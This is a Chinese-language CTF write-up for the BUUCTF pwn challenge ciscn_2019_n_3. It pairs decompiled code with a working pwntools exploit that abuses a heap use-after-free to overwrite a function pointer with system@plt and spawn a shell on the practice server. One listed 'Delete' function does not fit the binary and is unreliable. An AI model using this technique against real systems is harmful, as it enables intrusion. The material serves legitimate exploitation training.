ciscn 2019 n 3

# ciscn 2019 n 3

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/ciscn_2019_n_3/ciscn_2019_n_3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

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# 静态分析

主函数如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int option; // eax
  float v5; // [esp+1Ch] [ebp-Ch]

  alarm(0x12Cu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("================================================================================");
  puts(&byte_8048D45);
  puts("\tCloud Note (Free Edition)");
  puts("Free Edition can only use within 300 seconds");
  puts("Profession Edition only sale $9.999999");
  system("date");
  puts("================================================================================");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. New note");
          puts("2. Del note");
          puts("3. Show note");
          puts("4. Purchase Pro Edition");
          v5 = rand() / 2147483600.0 * 9.0;
          option = ask("CNote");
          if ( option != 2 )
            break;
          do_del();
        }
        if ( option > 2 )
          break;
        if ( option != 1 )
          goto LABEL_13;
        do_new();
      }
      if ( option != 3 )
        break;
      do_dump();
    }
    if ( option != 4 )
      break;
    printf("\tBalance: %f\n", v5);
    puts("\tYou dont have enough money!\n");
  }
LABEL_13:
  puts("Thanks for using CNote! Bye~");
  return 0;
}

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do_new函数如下

int do_new()
{
  int option; // eax
  int index; // [esp+0h] [ebp-18h]
  note *target_note; // [esp+4h] [ebp-14h]
  unsigned int size; // [esp+Ch] [ebp-Ch]

  index = ask("Index");
  if ( index < 0 || index > 16 )
    return puts("Out of index!");
  if ( records[index] )
    return printf("Index #%d is used!\n", index);
  records[index] = malloc(0xCu);
  target_note = records[index];
  target_note->print = rec_int_print;
  target_note->free = rec_int_free;
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  option = ask("Type");
  if ( option == 1 )
  {
    target_note->content = ask("Value");
  }
  else
  {
    if ( option != 2 )
      return puts("Invalid type!");
    size = ask("Length");
    if ( size > 0x400 )
      return puts("Length too long, please buy pro edition to store longer note!");
    target_note->content = malloc(size);
    printf("Value > ");
    fgets(target_note->content, size, stdin);
    target_note->print = rec_str_print;
    target_note->free = rec_str_free;
  }
  puts("Okey, got your data. Here is it:");
  return (target_note->print)(target_note);
}

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do_del函数如下：

int do_del()
{
  int index; // eax

  index = ask("Index");
  return (*(records[index] + 4))(records[index]);
}

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Delete函数如下：

unsigned int __cdecl Delete(unsigned __int8 index)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( index < count && ptr[index] )
  {
    free(*ptr[index]);
    free(ptr[index]);
    ptr[index] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}

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do_dump函数如下：

int do_dump()
{
  int index; // eax

  index = ask("Index");
  return (*records[index])(records[index]);
}

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ask函数如下

int __cdecl ask(int text)
{
  char s; // [esp+1Ch] [ebp-2Ch]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("%s > ", text);
  fgets(&s, 32, stdin);
  return atoi(&s);
}

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rec_int_free函数如下

int __cdecl rec_int_free(void *ptr)
{
  free(ptr);                                    // uaf
  return puts("Note freed!");
}

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rec_str_free函数如下

int __cdecl rec_str_free(void *ptr)
{
  free(*(ptr + 2));
  free(ptr);                                    // uaf
  return puts("Note freed!");
}

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# 思路分析

目前信息：
- 两种free函数都存在uaf
- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路
- uaf修改函数指针，调用修改后的函数可获得shell

ciscn_2019_n_3

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_n_3/ciscn_2019_n_3'
io = remote('node4.buuoj.cn', 25123)
# io = process(pwnfile)

def Add_int(io, index, value):
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", str(index))
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", value)

def Add_str(io, index, lenth, value):
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", str(index))
    io.sendlineafter("> ", '2')
    io.sendlineafter("> ", str(lenth))
    io.sendlineafter("> ", value)

def Delete(io, index):
    io.sendlineafter("> ", '2')
    io.sendlineafter("> ", str(index))

def Show(io, index):
    io.sendlineafter("> ", '3')
    io.sendlineafter("> ", str(index))

Add_int(io, 0, '0')  # 0
Add_int(io, 1, '0')  # 1
Delete(io, 0)
Delete(io, 1)
elf = ELF(pwnfile)
system_plt = elf.plt['system']
payload = flat(['sh\x00\x00', system_plt])
Add_str(io, 2, 0xc, payload)
Delete(io, 0)
io.interactive()

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#buuctf #pwn #heap #uaf

上次更新: 2022/08/15, 00:29:49

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